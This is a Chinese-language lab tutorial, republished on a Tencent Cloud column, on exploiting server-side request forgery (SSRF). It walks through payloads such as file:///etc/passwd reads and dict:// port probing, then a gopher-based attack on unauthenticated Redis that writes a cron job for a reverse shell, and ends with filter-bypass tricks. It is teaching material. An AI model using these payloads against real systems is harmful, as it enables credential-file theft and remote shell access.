前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSRF详细利用方式及getshell

SSRF详细利用方式及getshell

作者头像
黑白天安全
发布2020-03-19 17:53:01
6.5K1
发布2020-03-19 17:53:01
举报

注:本文仅供学习参考

0x01 ssrf本地及远程验证方式

重新复现一下 顺便复习一下curl和监听端口的命令

无回显的ssrf验证

本地开启apache服务

在存在ssrf处访问http://10.1.1.200(本机服务地址) 查看kali机器服务器日志信息:

代码语言:javascript
复制
tail  -f  /var/log/apache2/access.log

打开日志发现被访问了,确定存在ssrf漏洞 无回显还可以使用burp的collaborator来进行尝试或者dnslog

利用tcpdump测试:

Kali机器打开一个终端,使用tcpdump抓包:

代码语言:javascript
复制
#tcpdump  -nne  -i  eth0  port  6666

-nne:不把端口和网络地址转换成名称,在输出行打印数据链路层的头部信息; -i:监视指定网络接口的数据包。

访问http://10.1.1.200:6666

可以看箭头处,成功由本地访问到,确定存在ssrf漏洞

通过dict协议获取服务器端口运行的服务

1.本地利用:本机机器中在终端输入:

代码语言:javascript
复制
curl -v 'dict://127.0.0.1:22'

curl:一种命令行工具,作用是发出网络请求,获取数据; curl -v:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息。

可以看到ssh版本号为2.0 debian-6版本

2.远程利用:在存在ssrf地方输入

代码语言:javascript
复制
 dict://127.0.0.1:22

利用技巧:可以通过Burp爆破看对方开启了什么服务

通过file协议访问计算机中的任意文件

1.本地利用:在终端输入

代码语言:javascript
复制
curl -v 'file:///etc/passwd'

2.远程利用:在存在ssrf地方输入

代码语言:javascript
复制
file:///etc/passwd

sftp及tftp协议在SSRF中的作用

1.sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息:

代码语言:javascript
复制
Kali机器上输入:nc -lvp 1234

-l:监听入站信息; -p:设置本地主机使用的通信端口; -v:显示指令执行过程。

在存在SSRF处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息:

2.tftp即简单文件传输协议,允许客户端从远程主机获取文件:

代码语言:javascript
复制
Kali机器上输入:nc -lvup 6666
-u:使用UDP传输协议。
在SSRF处输入:tftp://10.1.1.200:6666

点击后查看响应信息:

0x02ssrf利用redis未授权getshell

通过gopher协议攻击Redis,如果内网中的Redis存在未授权访问漏洞,当Redis服务以root权限运行时,利用gopher协议攻击内网中的Redis,通过写入定时任务可以实现反弹shell

1.首先开启centos下redis服务

代码语言:javascript
复制
 # cd  /usr/local/bin
 # ./redis-server  /root/redis-5.0.4/redis.conf

2.在kali上开启redis服务

代码语言:javascript
复制
 cd  /usr/redis/
 ./redis-server
  1. 另外开启一个终端,测试启动: ./redis-cli ping

启动成功

4.在kali机器写一个redis反弹shell的bash脚本:

在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,666为反弹shell的监听端口,可随意设置。

5.Kali机器另外开启一个终端,使用socat进行端口转发,获取Redis攻击的TCP数据包:

代码语言:javascript
复制
  # socat  -v tcp-listen:2333,fork  tcp-connect:127.0.0.1:6379

将本地的2333端口转发到Redis服务器的6379端口,访问本地的2333端口其实是访问Redis服务器的6379端口。

执行脚本

代码语言:javascript
复制
bash  shell.sh  127.0.0.1  2333

获取到数据

6.先将socat获取的数据保存为socat.log文件,利用脚本将数据转换成适配于gopher协议的URL。

7.在kali上监听端口

代码语言:javascript
复制
nv -lvvp 666

8.攻击CentOS机器的Redis服务:

代码语言:javascript
复制
在SSRF处输入gopher://IP:端口/_payload:
gopher://127.0.0.1:6379/_转换的数据内容:

成功反弹shell

0x03 ssrf常见的绕过方式

IP地址转换进制 添加端口 利用短地址进行302跳转(如192.168.1.1.xip.ip会自动重定向到192.168.1.1) 利用句号 还有很多绕过方式

暂时总结到这里吧。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 ssrf本地及远程验证方式
  • 无回显的ssrf验证
  • 利用tcpdump测试:
  • 通过dict协议获取服务器端口运行的服务
  • 通过file协议访问计算机中的任意文件
  • sftp及tftp协议在SSRF中的作用
  • 0x02ssrf利用redis未授权getshell
  • 0x03 ssrf常见的绕过方式
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档